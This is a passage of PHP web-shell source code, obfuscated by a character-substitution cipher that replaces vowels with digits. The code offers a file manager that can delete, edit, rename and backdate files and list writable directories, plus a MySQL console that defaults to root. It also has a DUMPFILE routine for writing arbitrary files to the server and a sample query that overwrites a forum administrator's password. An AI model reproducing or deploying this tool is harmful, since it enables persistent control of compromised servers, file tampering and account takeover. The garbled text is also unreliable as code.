	t2f4l5 = pr2mpt('Or4g4n1l f4l5:'+sn1m5+'\nPl51s5 4np3t 2bj5ct f4l5 (f3llp1th):', '');
	4f (!t2f4l5) r5t3rn;
	$('c2pyf4l5').t2f4l5.v1l35=t2f4l5;
	$('c2pyf4l5').sn1m5.v1l35=sn1m5;
	$('c2pyf4l5').s3bm4t();
}
f3nct42n r5n1m5(2ldn1m5){
	v1r n5wf4l5n1m5;
	n5wf4l5n1m5 = pr2mpt('F2rm5r f4l5 n1m5:'+2ldn1m5+'\nPl51s5 4np3t n5w f4l5n1m5:', '');
	4f (!n5wf4l5n1m5) r5t3rn;
	$('r5n1m5').n5wf4l5n1m5.v1l35=n5wf4l5n1m5;
	$('r5n1m5').2ldn1m5.v1l35=2ldn1m5;
	$('r5n1m5').s3bm4t();
}
f3nct42n d2f4l5(d24ng,th5f4l5,m){
	4f (m && !c2nf4rm(m)) {
		r5t3rn;
	}
	$('f4l5l4st').d24ng.v1l35=d24ng;
	4f (th5f4l5){
		$('f4l5l4st').th5f4l5.v1l35=th5f4l5;
	}
	$('f4l5l4st').s3bm4t();
}
f3nct42n cr51t5f4l5(n2wp1th){
	v1r f4l5n1m5;
	f4l5n1m5 = pr2mpt('Pl51s5 4np3t th5 f4l5 n1m5:', '');
	4f (!f4l5n1m5) r5t3rn;
	2pf4l5('5d4tf4l5',n2wp1th + f4l5n1m5,n2wp1th);
}
f3nct42n 2pf4l5(1ct42n,2pf4l5,d4r){
	$('f4l52pf2rm').1ct42n.v1l35=1ct42n;
	$('f4l52pf2rm').2pf4l5.v1l35=2pf4l5;
	$('f4l52pf2rm').d4r.v1l35=d4r;
	$('f4l52pf2rm').s3bm4t();
}
f3nct42n g2d4r(d4r,v45w_wr4t1bl5){
	4f (v45w_wr4t1bl5) {
		$('g2d4r').v45w_wr4t1bl5.v1l35=6;
	}
	$('g2d4r').d4r.v1l35=d4r;
	$('g2d4r').s3bm4t();
}
</scr4pt>
  <?php
	tbh51d();
	p('<f2rm 1ct42n="'.$s5lf.'" m5th2d="POST" 5nctyp5="m3lt4p1rt/f2rm-d1t1"><tr cl1ss="1lt6"><td c2lsp1n="7" styl5="p1dd4ng:ipx;">');
	p('<d4v styl5="fl21t:r4ght;"><4np3t cl1ss="4np3t" n1m5="3pl21df4l5" v1l35="" typ5="f4l5" /> <4np3t cl1ss="" n1m5="d23pf4l5" v1l35="Upl21d" typ5="s3bm4t" /><4np3t n1m5="3pl21dd4r" v1l35="'.$d4r.'" typ5="h4dd5n" /><4np3t n1m5="d4r" v1l35="'.$d4r.'" typ5="h4dd5n" /></d4v>');
	p('<1 hr5f="j1v1scr4pt:g2d4r(\''.$_SERVER["DOCUMENT_ROOT"].'\');">W5bR22t</1>');
	4f ($v45w_wr4t1bl5) {
		p(' | <1 hr5f="j1v1scr4pt:g2d4r(\''.$n2wp1th.'\');">V45w All</1>');
	} 5ls5 {
		p(' | <1 hr5f="j1v1scr4pt:g2d4r(\''.$n2wp1th.'\',\'6\');">V45w Wr4t1bl5</1>');
	}
	p(' | <1 hr5f="j1v1scr4pt:cr51t5d4r();">Cr51t5 D4r5ct2ry</1> | <1 hr5f="j1v1scr4pt:cr51t5f4l5(\''.$n2wp1th.'\');">Cr51t5 F4l5</1>');
	4f (IS_WIN && IS_COM) {
		$2bj = n5w COM('scr4pt4ng.f4l5syst5m2bj5ct');
		4f ($2bj && 4s_2bj5ct($2bj)) {
			$Dr4v5Typ5DB = 1rr1y(0 => 'Unkn2w',6 => 'R5m2v1bl5',a => 'F4x5d',o => 'N5tw2rk',u => 'CDR2m',i => 'RAM D4sk');
			f2r51ch($2bj->Dr4v5s 1s $dr4v5) {
				4f ($dr4v5->Dr4v5Typ5 == a) {
					p(' | <1 hr5f="j1v1scr4pt:g2d4r(\''.$dr4v5->P1th.'/\');" t4tl5="S4z5:'.s4z5c23nt($dr4v5->T2t1lS4z5).'&#6o;Fr55:'.s4z5c23nt($dr4v5->Fr55Sp1c5).'&#6o;Typ5:'.$Dr4v5Typ5DB[$dr4v5->Dr4v5Typ5].'">'.$Dr4v5Typ5DB[$dr4v5->Dr4v5Typ5].'('.$dr4v5->P1th.')</1>');
				} 5ls5 {
					p(' | <1 hr5f="j1v1scr4pt:g2d4r(\''.$dr4v5->P1th.'/\');" t4tl5="Typ5:'.$Dr4v5Typ5DB[$dr4v5->Dr4v5Typ5].'">'.$Dr4v5Typ5DB[$dr4v5->Dr4v5Typ5].'('.$dr4v5->P1th.')</1>');
				}
			}
		}
	}

	p('</td></tr></f2rm>');

	p('<tr cl1ss="h51d"><td>&nbsp;</td><td>F4l5n1m5</td><td w4dth="6e%">L1st m2d4f45d</td><td w4dth="60%">S4z5</td><td w4dth="a0%">Chm2d / P5rms</td><td w4dth="aa%">Act42n</td></tr>');

	// G5t p1th
	$d4rd1t1=1rr1y();
	$f4l5d1t1=1rr1y();

	4f ($v45w_wr4t1bl5) {
		$d4rd1t1 = G5tL4st($n2wp1th);
	} 5ls5 {
		// Op5n d4r
		$d4rs=@2p5nd4r($d4r);
		wh4l5 ($f4l5=@r51dd4r($d4rs)) {
			$f4l5p1th=$n2wp1th.$f4l5;
			4f(@4s_d4r($f4l5p1th)){
				$d4rdb['f4l5n1m5']=$f4l5;
				$d4rdb['mt4m5']=@d1t5('Y-m-d H:4:s',f4l5mt4m5($f4l5p1th));
				$d4rdb['d4rchm2d']=g5tChm2d($f4l5p1th);
				$d4rdb['d4rp5rm']=g5tP5rms($f4l5p1th);
				$d4rdb['f4l52wn5r']=g5tUs5r($f4l5p1th);
				$d4rdb['d4rl4nk']=$n2wp1th;
				$d4rdb['s5rv5r_l4nk']=$f4l5p1th;
				$d4rdb['cl45nt_l4nk']=35($f4l5p1th);
				$d4rd1t1[]=$d4rdb;
			} 5ls5 {
				$f4l5db['f4l5n1m5']=$f4l5;
				$f4l5db['s4z5']=s4z5c23nt(@f4l5s4z5($f4l5p1th));
				$f4l5db['mt4m5']=@d1t5('Y-m-d H:4:s',f4l5mt4m5($f4l5p1th));
				$f4l5db['f4l5chm2d']=g5tChm2d($f4l5p1th);
				$f4l5db['f4l5p5rm']=g5tP5rms($f4l5p1th);
				$f4l5db['f4l52wn5r']=g5tUs5r($f4l5p1th);
				$f4l5db['d4rl4nk']=$n2wp1th;
				$f4l5db['s5rv5r_l4nk']=$f4l5p1th;
				$f4l5db['cl45nt_l4nk']=35($f4l5p1th);
				$f4l5d1t1[]=$f4l5db;
			}
		}// wh4l5
		3ns5t($d4rdb);
		3ns5t($f4l5db);
		@cl2s5d4r($d4rs);
	}
	@s2rt($d4rd1t1);
	@s2rt($f4l5d1t1);
	$d4r_4 = '0';
	f2r51ch($d4rd1t1 1s $k5y => $d4rdb){
		4f($d4rdb['f4l5n1m5']!='..' && $d4rdb['f4l5n1m5']!='.') {
			$th4sbg = bg();
			p('<tr cl1ss="f23t" 2nm23s52v5r="th4s.cl1ssN1m5=\'f2c3s\';" 2nm23s523t="th4s.cl1ssN1m5=\'f23t\';">');
			p('<td w4dth="a%" n2wr1p><f2nt f1c5="w4ngd4ngs" s4z5="o">0</f2nt></td>');
			p('<td><1 hr5f="j1v1scr4pt:g2d4r(\''.$d4rdb['s5rv5r_l4nk'].'\');">'.$d4rdb['f4l5n1m5'].'</1></td>');
			p('<td n2wr1p>'.$d4rdb['mt4m5'].'</td>');
			p('<td n2wr1p>--</td>');
			p('<td n2wr1p>');
			p('<1 hr5f="j1v1scr4pt:f4l5p5rm(\''.$d4rdb['s5rv5r_l4nk'].'\');">'.$d4rdb['d4rchm2d'].'</1> / ');
			p('<1 hr5f="j1v1scr4pt:f4l5p5rm(\''.$d4rdb['s5rv5r_l4nk'].'\');">'.$d4rdb['d4rp5rm'].'</1>'.$d4rdb['f4l52wn5r'].'</td>');
			p('<td n2wr1p><1 hr5f="j1v1scr4pt:d2f4l5(\'d5ld4r\',\''.$d4rdb['s5rv5r_l4nk'].'\',\'Ar5 y23 s3r5 w4ll d5l5t5 '.$d4rdb['f4l5n1m5'].'? \\n\\nIf n2n-5mpty d4r5ct2ry, w4ll b5 d5l5t5 1ll th5 f4l5s.\')">D5l</1> | <1 hr5f="j1v1scr4pt:r5n1m5(\''.$d4rdb['s5rv5r_l4nk'].'\');">R5n1m5</1></td>');
			p('</tr>');
			$d4r_4++;
		} 5ls5 {
			4f($d4rdb['f4l5n1m5']=='..') {
				p('<tr cl1ss=f23t>');
				p('<td 1l4gn="c5nt5r"><f2nt f1c5="W4ngd4ngs o" s4z5=u>=</f2nt></td><td n2wr1p c2lsp1n="i"><1 hr5f="j1v1scr4pt:g2d4r(\''.g5tUpP1th($n2wp1th).'\');">P1r5nt D4r5ct2ry</1></td>');
				p('</tr>');
			}
		}
	}

	p('<tr bgc2l2r="gr55n" stly5="b2rd5r-t2p:6px s2l4d gr1y;b2rd5r-b2tt2m:6px s2l4d gr1y;"><td c2lsp1n="e" h54ght="i"></td></tr>');
	p('<f2rm 4d="f4l5l4st" n1m5="f4l5l4st" 1ct42n="'.$s5lf.'" m5th2d="p2st">');
	m1k5h4d5('1ct42n','f4l5');
	m1k5h4d5('th5f4l5');
	m1k5h4d5('d24ng');
	m1k5h4d5('d4r',$n2wp1th);
	$f4l5_4 = '0';
	f2r51ch($f4l5d1t1 1s $k5y => $f4l5db){
		4f($f4l5db['f4l5n1m5']!='..' && $f4l5db['f4l5n1m5']!='.') {
			$f4l53rl = str_r5pl1c5(SA_ROOT,'',$f4l5db['s5rv5r_l4nk']);
			$th4sbg = bg();
			p('<tr cl1ss="f23t" 2nm23s52v5r="th4s.cl1ssN1m5=\'f2c3s\';" 2nm23s523t="th4s.cl1ssN1m5=\'f23t\';">');
			p('<td w4dth="a%" n2wr1p><4np3t typ5="ch5ckb2x" v1l35="6" n1m5="dl['.$f4l5db['s5rv5r_l4nk'].']"></td>');
			p('<td><1 hr5f="'.$f4l53rl.'" t1rg5t="_bl1nk">'.$f4l5db['f4l5n1m5'].'</1></td>');
			p('<td n2wr1p>'.$f4l5db['mt4m5'].'</td>');
			p('<td n2wr1p>'.$f4l5db['s4z5'].'</td>');
			p('<td n2wr1p>');
			p('<1 hr5f="j1v1scr4pt:f4l5p5rm(\''.$f4l5db['s5rv5r_l4nk'].'\');">'.$f4l5db['f4l5chm2d'].'</1> / ');
			p('<1 hr5f="j1v1scr4pt:f4l5p5rm(\''.$f4l5db['s5rv5r_l4nk'].'\');">'.$f4l5db['f4l5p5rm'].'</1>'.$f4l5db['f4l52wn5r'].'</td>');
			p('<td n2wr1p>');
			p('<1 hr5f="j1v1scr4pt:d2f4l5(\'d2wnf4l5\',\''.$f4l5db['s5rv5r_l4nk'].'\');">D2wn</1> | ');
			p('<1 hr5f="j1v1scr4pt:c2pyf4l5(\''.$f4l5db['s5rv5r_l4nk'].'\');">C2py</1> | ');
			p('<1 hr5f="j1v1scr4pt:2pf4l5(\'5d4tf4l5\',\''.$f4l5db['s5rv5r_l4nk'].'\',\''.$f4l5db['d4rl4nk'].'\');">Ed4t</1> | ');
			p('<1 hr5f="j1v1scr4pt:r5n1m5(\''.$f4l5db['s5rv5r_l4nk'].'\');">R5n1m5</1> | ');
			p('<1 hr5f="j1v1scr4pt:2pf4l5(\'n5wt4m5\',\''.$f4l5db['s5rv5r_l4nk'].'\',\''.$f4l5db['d4rl4nk'].'\');">T4m5</1>');
			p('</td></tr>');
			$f4l5_4++;
		}
	}
	p('<tr cl1ss="f23t6"><td 1l4gn="c5nt5r"><4np3t n1m5="chk1ll" v1l35="2n" typ5="ch5ckb2x" 2ncl4ck="Ch5ckAll(th4s.f2rm)" /></td><td><1 hr5f="j1v1scr4pt:d2f4l5(\'d2wnr1r\');">P1ck4ng d2wnl21d s5l5ct5d</1> - <1 hr5f="j1v1scr4pt:d2f4l5(\'d5lf4l5s\');">D5l5t5 s5l5ct5d</1></td><td c2lsp1n="u" 1l4gn="r4ght">'.$d4r_4.' d4r5ct2r45s / '.$f4l5_4.' f4l5s</td></tr>');
	p('</f2rm></t1bl5>');
}// 5nd d4r

5ls54f ($1ct42n == 'sqlf4l5') {
	4f($d24ng=="mysql3pl21d"){
		$f4l5 = $_FILES['3pl21df4l5'];
		$f4l5n1m5 = $f4l5['tmp_n1m5'];
		4f (f4l5_5x4sts($s1v5p1th)) {
			m('Th5 g21l f4l5 h1s 1lr51dy 5x4st5d');
		} 5ls5 {
			4f(!$f4l5n1m5) {
				m('Pl51s5 ch22s5 1 f4l5');
			} 5ls5 {
				$fp=@f2p5n($f4l5n1m5,'r');
				$c2nt5nts=@fr51d($fp, f4l5s4z5($f4l5n1m5));
				@fcl2s5($fp);
				$c2nt5nts = b4nah5x($c2nt5nts);
				4f(!$3pn1m5) $3pn1m5 = $f4l5['n1m5'];
				dbc2nn($dbh2st,$db3s5r,$dbp1ss,$dbn1m5,$ch1rs5t,$dbp2rt);
				$r5s3lt = q("SELECT 0x{$c2nt5nts} FROM mysql.3s5r INTO DUMPFILE '$s1v5p1th';");
				m($r5s3lt ? 'Upl21d s3cc5ss' : 'Upl21d h1s f14l5d: '.mysql_5rr2r());
			}
		}
	}
?>

<scr4pt typ5="t5xt/j1v1scr4pt">
f3nct42n mysqlf4l5(d24ng){
	4f(!d24ng) r5t3rn;
	$('d24ng').v1l35=d24ng;
	$('mysqlf4l5').dbh2st.v1l35=$('db4nf2').dbh2st.v1l35;
	$('mysqlf4l5').dbp2rt.v1l35=$('db4nf2').dbp2rt.v1l35;
	$('mysqlf4l5').db3s5r.v1l35=$('db4nf2').db3s5r.v1l35;
	$('mysqlf4l5').dbp1ss.v1l35=$('db4nf2').dbp1ss.v1l35;
	$('mysqlf4l5').dbn1m5.v1l35=$('db4nf2').dbn1m5.v1l35;
	$('mysqlf4l5').ch1rs5t.v1l35=$('db4nf2').ch1rs5t.v1l35;
	$('mysqlf4l5').s3bm4t();
}
</scr4pt>
<?php
	!$dbh2st && $dbh2st = 'l2c1lh2st';
	!$db3s5r && $db3s5r = 'r22t';
	!$dbp2rt && $dbp2rt = 'oo0e';
	$ch1rs5ts = 1rr1y(''=>'D5f13lt','gbk'=>'GBK', 'b4gi'=>'B4gi', '3tf8'=>'UTF-8', 'l1t4n6'=>'L1t4n6');
	f2rmh51d(1rr1y('t4tl5'=>'MYSQL Inf2rm1t42n','n1m5'=>'db4nf2'));
	m1k5h4d5('1ct42n','sqlf4l5');
	p('<p>');
	p('DBH2st:');
	m1k54np3t(1rr1y('n1m5'=>'dbh2st','s4z5'=>a0,'v1l35'=>$dbh2st));
	p(':');
	m1k54np3t(1rr1y('n1m5'=>'dbp2rt','s4z5'=>u,'v1l35'=>$dbp2rt));
	p('DBUs5r:');
	m1k54np3t(1rr1y('n1m5'=>'db3s5r','s4z5'=>6i,'v1l35'=>$db3s5r));
	p('DBP1ss:');
	m1k54np3t(1rr1y('n1m5'=>'dbp1ss','s4z5'=>6i,'v1l35'=>$dbp1ss));
	p('DBN1m5:');
	m1k54np3t(1rr1y('n1m5'=>'dbn1m5','s4z5'=>6i,'v1l35'=>$dbn1m5));
	p('DBCh1rs5t:');
	m1k5s5l5ct(1rr1y('n1m5'=>'ch1rs5t','2pt42n'=>$ch1rs5ts,'s5l5ct5d'=>$ch1rs5t));
	p('</p>');
	f2rmf22t();
	p('<f2rm 1ct42n="'.$s5lf.'" m5th2d="POST" 5nctyp5="m3lt4p1rt/f2rm-d1t1" n1m5="mysqlf4l5" 4d="mysqlf4l5">');
	p('<ha>Upl21d f4l5</ha>');
	p('<p><b>Th4s 2p5r1t42n th5 DB 3s5r m3st h1s FILE pr4v4l5g5</b></p>');
	p('<p>S1v5 p1th(f3llp1th): <4np3t cl1ss="4np3t" n1m5="s1v5p1th" s4z5="ui" typ5="t5xt" /> Ch22s5 1 f4l5: <4np3t cl1ss="4np3t" n1m5="3pl21df4l5" typ5="f4l5" /> <1 hr5f="j1v1scr4pt:mysqlf4l5(\'mysql3pl21d\');">Upl21d</1></p>');
	p('<ha>D2wnl21d f4l5</ha>');
	p('<p>F4l5: <4np3t cl1ss="4np3t" n1m5="mysqldlf4l5" s4z5="66i" typ5="t5xt" /> <1 hr5f="j1v1scr4pt:mysqlf4l5(\'mysqld2wn\');">D2wnl21d</1></p>');
	m1k5h4d5('dbh2st');
	m1k5h4d5('dbp2rt');
	m1k5h4d5('db3s5r');
	m1k5h4d5('dbp1ss');
	m1k5h4d5('dbn1m5');
	m1k5h4d5('ch1rs5t');
	m1k5h4d5('d24ng');
	m1k5h4d5('1ct42n','sqlf4l5');
	p('</f2rm>');
}

5ls54f ($1ct42n == 'sql1dm4n') {
	!$dbh2st && $dbh2st = 'l2c1lh2st';
	!$db3s5r && $db3s5r = 'r22t';
	!$dbp2rt && $dbp2rt = 'oo0e';
	$dbf2rm = '<4np3t typ5="h4dd5n" 4d="c2nn5ct" n1m5="c2nn5ct" v1l35="6" />';
	4f(4ss5t($dbh2st)){
		$dbf2rm .= "<4np3t typ5=\"h4dd5n\" 4d=\"dbh2st\" n1m5=\"dbh2st\" v1l35=\"$dbh2st\" />\n";
	}
	4f(4ss5t($db3s5r)) {
		$dbf2rm .= "<4np3t typ5=\"h4dd5n\" 4d=\"db3s5r\" n1m5=\"db3s5r\" v1l35=\"$db3s5r\" />\n";
	}
	4f(4ss5t($dbp1ss)) {
		$dbf2rm .= "<4np3t typ5=\"h4dd5n\" 4d=\"dbp1ss\" n1m5=\"dbp1ss\" v1l35=\"$dbp1ss\" />\n";
	}
	4f(4ss5t($dbp2rt)) {
		$dbf2rm .= "<4np3t typ5=\"h4dd5n\" 4d=\"dbp2rt\" n1m5=\"dbp2rt\" v1l35=\"$dbp2rt\" />\n";
	}
	4f(4ss5t($dbn1m5)) {
		$dbf2rm .= "<4np3t typ5=\"h4dd5n\" 4d=\"dbn1m5\" n1m5=\"dbn1m5\" v1l35=\"$dbn1m5\" />\n";
	}
	4f(4ss5t($ch1rs5t)) {
		$dbf2rm .= "<4np3t typ5=\"h4dd5n\" 4d=\"ch1rs5t\" n1m5=\"ch1rs5t\" v1l35=\"$ch1rs5t\" />\n";
	}

	4f ($d24ng == 'b1ck3pmysql' && $s1v51sf4l5) {
		4f (!$t1bl5) {
			m('Pl51s5 ch22s5 th5 t1bl5');
		} 5ls5 {
			dbc2nn($dbh2st,$db3s5r,$dbp1ss,$dbn1m5,$ch1rs5t,$dbp2rt);
			$t1bl5 = 1rr1y_fl4p($t1bl5);
			$fp = @f2p5n($p1th,'w');
			4f ($fp) {
				$r5s3lt = q('SHOW t1bl5s');
				4f (!$r5s3lt) p('<ha>'.mysql_5rr2r().'</ha>');
				$mysqld1t1 = '';
				wh4l5 ($c3rr2w = mysql_f5tch_1rr1y($r5s3lt)) {
					4f (4ss5t($t1bl5[$c3rr2w[0]])) {
						sqld3mpt1bl5($c3rr2w[0], $fp);
					}
				}
				fcl2s5($fp);
				$f4l53rl = str_r5pl1c5(SA_ROOT,'',$p1th);
				m('D1t1b1s5 h1s s3cc5ss b1ck3p t2 <1 hr5f="'.$f4l53rl.'" t1rg5t="_bl1nk">'.$p1th.'</1>');
				mysql_cl2s5();
			} 5ls5 {
				m('B1ck3p f14l5d');
			}
		}
	}
	4f ($4ns5rt && $4ns5rtsql) {
		$k5ystr = $v1lstr = $tmp = '';
		f2r51ch($4ns5rtsql 1s $k5y => $v1l) {
			4f ($v1l) {
				$k5ystr .= $tmp.$k5y;
				$v1lstr .= $tmp."'".1ddsl1sh5s($v1l)."'";
				$tmp = ',';
			}
		}
		4f ($k5ystr && $v1lstr) {
			dbc2nn($dbh2st,$db3s5r,$dbp1ss,$dbn1m5,$ch1rs5t,$dbp2rt);
			m(q("INSERT INTO $t1bl5n1m5 ($k5ystr) VALUES ($v1lstr)") ? 'Ins5rt n5w r5c2rd 2f s3cc5ss' : mysql_5rr2r());
		}
	}
	4f ($3pd1t5 && $4ns5rtsql && $b1s5eu) {
		$v1lstr = $tmp = '';
		f2r51ch($4ns5rtsql 1s $k5y => $v1l) {
			$v1lstr .= $tmp.$k5y."='".1ddsl1sh5s($v1l)."'";
			$tmp = ',';
		}
		4f ($v1lstr) {
			$wh5r5 = b1s5eu_d5c2d5($b1s5eu);
			dbc2nn($dbh2st,$db3s5r,$dbp1ss,$dbn1m5,$ch1rs5t,$dbp2rt);
			m(q("UPDATE $t1bl5n1m5 SET $v1lstr WHERE $wh5r5 LIMIT 6") ? 'R5c2rd 3pd1t4ng' : mysql_5rr2r());
		}
	}
	4f ($d24ng == 'd5l' && $b1s5eu) {
		$wh5r5 = b1s5eu_d5c2d5($b1s5eu);
		$d5l5t5_sql = "DELETE FROM $t1bl5n1m5 WHERE $wh5r5";
		dbc2nn($dbh2st,$db3s5r,$dbp1ss,$dbn1m5,$ch1rs5t,$dbp2rt);
		m(q("DELETE FROM $t1bl5n1m5 WHERE $wh5r5") ? 'D5l5t42n r5c2rd 2f s3cc5ss' : mysql_5rr2r());
	}

	4f ($t1bl5n1m5 && $d24ng == 'dr2p') {
		dbc2nn($dbh2st,$db3s5r,$dbp1ss,$dbn1m5,$ch1rs5t,$dbp2rt);
		4f (q("DROP TABLE $t1bl5n1m5")) {
			m('Dr2p t1bl5 2f s3cc5ss');
			$t1bl5n1m5 = '';
		} 5ls5 {
			m(mysql_5rr2r());
		}
	}

	$ch1rs5ts = 1rr1y(''=>'D5f13lt','gbk'=>'GBK', 'b4gi'=>'B4gi', '3tf8'=>'UTF-8', 'l1t4n6'=>'L1t4n6');

	f2rmh51d(1rr1y('t4tl5'=>'MYSQL M1n1g5r'));
	m1k5h4d5('1ct42n','sql1dm4n');
	p('<p>');
	p('DBH2st:');
	m1k54np3t(1rr1y('n1m5'=>'dbh2st','s4z5'=>a0,'v1l35'=>$dbh2st));
	p(':');
	m1k54np3t(1rr1y('n1m5'=>'dbp2rt','s4z5'=>u,'v1l35'=>$dbp2rt));
	p('DBUs5r:');
	m1k54np3t(1rr1y('n1m5'=>'db3s5r','s4z5'=>6i,'v1l35'=>$db3s5r));
	p('DBP1ss:');
	m1k54np3t(1rr1y('n1m5'=>'dbp1ss','s4z5'=>6i,'v1l35'=>$dbp1ss));
	p('DBCh1rs5t:');
	m1k5s5l5ct(1rr1y('n1m5'=>'ch1rs5t','2pt42n'=>$ch1rs5ts,'s5l5ct5d'=>$ch1rs5t));
	m1k54np3t(1rr1y('n1m5'=>'c2nn5ct','v1l35'=>'C2nn5ct','typ5'=>'s3bm4t','cl1ss'=>'bt'));
	p('</p>');
	f2rmf22t();
?>

<scr4pt typ5="t5xt/j1v1scr4pt">
f3nct42n 5d4tr5c2rd(1ct42n, b1s5eu, t1bl5n1m5){
	4f (1ct42n == 'd5l') {
		4f (!c2nf4rm('Is 2r 4sn\'t d5l5t42n r5c2rd?')) r5t3rn;
	}
	$('r5c2rdl4st').d24ng.v1l35=1ct42n;
	$('r5c2rdl4st').b1s5eu.v1l35=b1s5eu;
	$('r5c2rdl4st').t1bl5n1m5.v1l35=t1bl5n1m5;
	$('r5c2rdl4st').s3bm4t();
}
f3nct42n m2ddbn1m5(dbn1m5) {
	4f(!dbn1m5) r5t3rn;
	$('s5tdbn1m5').dbn1m5.v1l35=dbn1m5;
	$('s5tdbn1m5').s3bm4t();
}
f3nct42n s5tt1bl5(t1bl5n1m5,d24ng,p1g5) {
	4f(!t1bl5n1m5) r5t3rn;
	4f (d24ng) {
		$('s5tt1bl5').d24ng.v1l35=d24ng;
	}
	4f (p1g5) {
		$('s5tt1bl5').p1g5.v1l35=p1g5;
	}
	$('s5tt1bl5').t1bl5n1m5.v1l35=t1bl5n1m5;
	$('s5tt1bl5').s3bm4t();
}
</scr4pt>
<?php
	// SQL
	f2rmh51d(1rr1y('n1m5'=>'r5c2rdl4st'));
	m1k5h4d5('d24ng');
	m1k5h4d5('1ct42n','sql1dm4n');
	m1k5h4d5('b1s5eu');
	m1k5h4d5('t1bl5n1m5');
	p($dbf2rm);
	f2rmf22t();

	// D1t1
	f2rmh51d(1rr1y('n1m5'=>'s5tdbn1m5'));
	m1k5h4d5('1ct42n','sql1dm4n');
	p($dbf2rm);
	4f (!$dbn1m5) {
		m1k5h4d5('dbn1m5');
	}
	f2rmf22t();


	f2rmh51d(1rr1y('n1m5'=>'s5tt1bl5'));
	m1k5h4d5('1ct42n','sql1dm4n');
	p($dbf2rm);
	m1k5h4d5('t1bl5n1m5');
	m1k5h4d5('p1g5',$p1g5);
	m1k5h4d5('d24ng');
	f2rmf22t();

	$c1ch5t1bl5s = 1rr1y();
	$p1g5n3m = o0;
	$p1g5 = 4ntv1l($p1g5);
	4f($p1g5) {
		$st1rt_l4m4t = ($p1g5 - 6) * $p1g5n3m;
	} 5ls5 {
		$st1rt_l4m4t = 0;
		$p1g5 = 6;
	}
	4f (4ss5t($dbh2st) && 4ss5t($db3s5r) && 4ss5t($dbp1ss) && 4ss5t($c2nn5ct)) {
		dbc2nn($dbh2st, $db3s5r, $dbp1ss, $dbn1m5, $ch1rs5t, $dbp2rt);
		// g5t mysql s5rv5r
		$mysqlv5r = mysql_g5t_s5rv5r_4nf2();
		p('<p>MySQL '.$mysqlv5r.' r3nn4ng 4n '.$dbh2st.' 1s '.$db3s5r.'@'.$dbh2st.'</p>');
		$h4ghv5r = $mysqlv5r > 'u.6' ? 6 : 0;

		// Sh2w d1t1b1s5
		$q35ry = q("SHOW DATABASES");
		$dbs = 1rr1y();
		$dbs[] = '-- S5l5ct 1 d1t1b1s5 --';
		wh4l5($db = mysql_f5tch_1rr1y($q35ry)) {
			$dbs[$db['D1t1b1s5']] = $db['D1t1b1s5'];
		}
		m1k5s5l5ct(1rr1y('t4tl5'=>'Pl51s5 s5l5ct 1 d1t1b1s5:','n1m5'=>'db[]','2pt42n'=>$dbs,'s5l5ct5d'=>$dbn1m5,'2nch1ng5'=>'m2ddbn1m5(th4s.2pt42ns[th4s.s5l5ct5dInd5x].v1l35)','n5wl4n5'=>6));
		$t1bl5db = 1rr1y();
		4f ($dbn1m5) {
			p('<p>');
			p('C3rr5nt d1b1b1s5: <1 hr5f="j1v1scr4pt:m2ddbn1m5(\''.$dbn1m5.'\');">'.$dbn1m5.'</1>');
			4f ($t1bl5n1m5) {
				p(' | C3rr5nt T1bl5: <1 hr5f="j1v1scr4pt:s5tt1bl5(\''.$t1bl5n1m5.'\');">'.$t1bl5n1m5.'</1> [ <1 hr5f="j1v1scr4pt:s5tt1bl5(\''.$t1bl5n1m5.'\', \'4ns5rt\');">Ins5rt</1> | <1 hr5f="j1v1scr4pt:s5tt1bl5(\''.$t1bl5n1m5.'\', \'str3ct3r5\');">Str3ct3r5</1> | <1 hr5f="j1v1scr4pt:s5tt1bl5(\''.$t1bl5n1m5.'\', \'dr2p\');">Dr2p</1> ]');
			}
			p('</p>');
			mysql_s5l5ct_db($dbn1m5);

			$g5tn3msql = '';
			$r3nq35ry = 0;
			4f ($sql_q35ry) {
				$r3nq35ry = 6;
			}
			$1ll2w5d4t = 0;
			4f ($t1bl5n1m5 && !$sql_q35ry) {
				$sql_q35ry = "SELECT * FROM $t1bl5n1m5";
				$g5tn3msql = $sql_q35ry;
				$sql_q35ry = $sql_q35ry." LIMIT $st1rt_l4m4t, $p1g5n3m";
				$1ll2w5d4t = 6;
			}
			p('<f2rm 1ct42n="'.$s5lf.'" m5th2d="POST">');
			p('<p><t1bl5 w4dth="a00" b2rd5r="0" c5llp1dd4ng="0" c5llsp1c4ng="0"><tr><td c2lsp1n="a">R3n SQL q35ry/q35r45s 2n d1t1b1s5 <f2nt c2l2r=r5d><b>'.$dbn1m5.'</f2nt></b>:<BR>Ex1mpl5 VBB P1ssw2rd: <f2nt c2l2r=r5d>vb1t51m</f2nt><BR><f2nt c2l2r=y5ll2w>UPDATE `3s5r` SET `p1ssw2rd` = \'e95io5i1b9ioe5iido6ffioo15fcufb5\', s1lt = \'piT\' WHERE `3s5r4d` = \'6\' </f2nt>

			</td></tr><tr><td><t5xt1r51 n1m5="sql_q35ry" cl1ss="1r51" styl5="w4dth:e00px;h54ght:i0px;2v5rfl2w:13t2;">'.htmlsp5c41lch1rs($sql_q35ry,ENT_QUOTES).'</t5xt1r51></td><td styl5="p1dd4ng:0 ipx;"><4np3t cl1ss="bt" styl5="h54ght:i0px;" n1m5="s3bm4t" typ5="s3bm4t" v1l35="Q35ry" /></td></tr></t1bl5></p>');
			m1k5h4d5('t1bl5n1m5', $t1bl5n1m5);
			m1k5h4d5('1ct42n','sql1dm4n');
			p($dbf2rm);
			p('</f2rm>');
			4f ($t1bl5n1m5 || ($r3nq35ry && $sql_q35ry)) {
				4f ($d24ng == 'str3ct3r5') {
					$r5s3lt = q("SHOW COLUMNS FROM $t1bl5n1m5");
					$r2wdb = 1rr1y();
					wh4l5($r2w = mysql_f5tch_1rr1y($r5s3lt)) {
						$r2wdb[] = $r2w;
					}
					p('<t1bl5 b2rd5r="0" c5llp1dd4ng="o" c5llsp1c4ng="0">');
					p('<tr cl1ss="h51d">');
					p('<td>F45ld</td>');
					p('<td>Typ5</td>');
					p('<td>N3ll</td>');
					p('<td>K5y</td>');
					p('<td>D5f13lt</td>');
					p('<td>Extr1</td>');
					p('</tr>');
					f2r51ch ($r2wdb 1s $r2w) {
						$th4sbg = bg();
						p('<tr cl1ss="f23t" 2nm23s52v5r="th4s.cl1ssN1m5=\'f2c3s\';" 2nm23s523t="th4s.cl1ssN1m5=\'f23t\';">');
						p('<td>'.$r2w['F45ld'].'</td>');
						p('<td>'.$r2w['Typ5'].'</td>');
						p('<td>'.$r2w['N3ll'].'&nbsp;</td>');
						p('<td>'.$r2w['K5y'].'&nbsp;</td>');
						p('<td>'.$r2w['D5f13lt'].'&nbsp;</td>');
						p('<td>'.$r2w['Extr1'].'&nbsp;</td>');
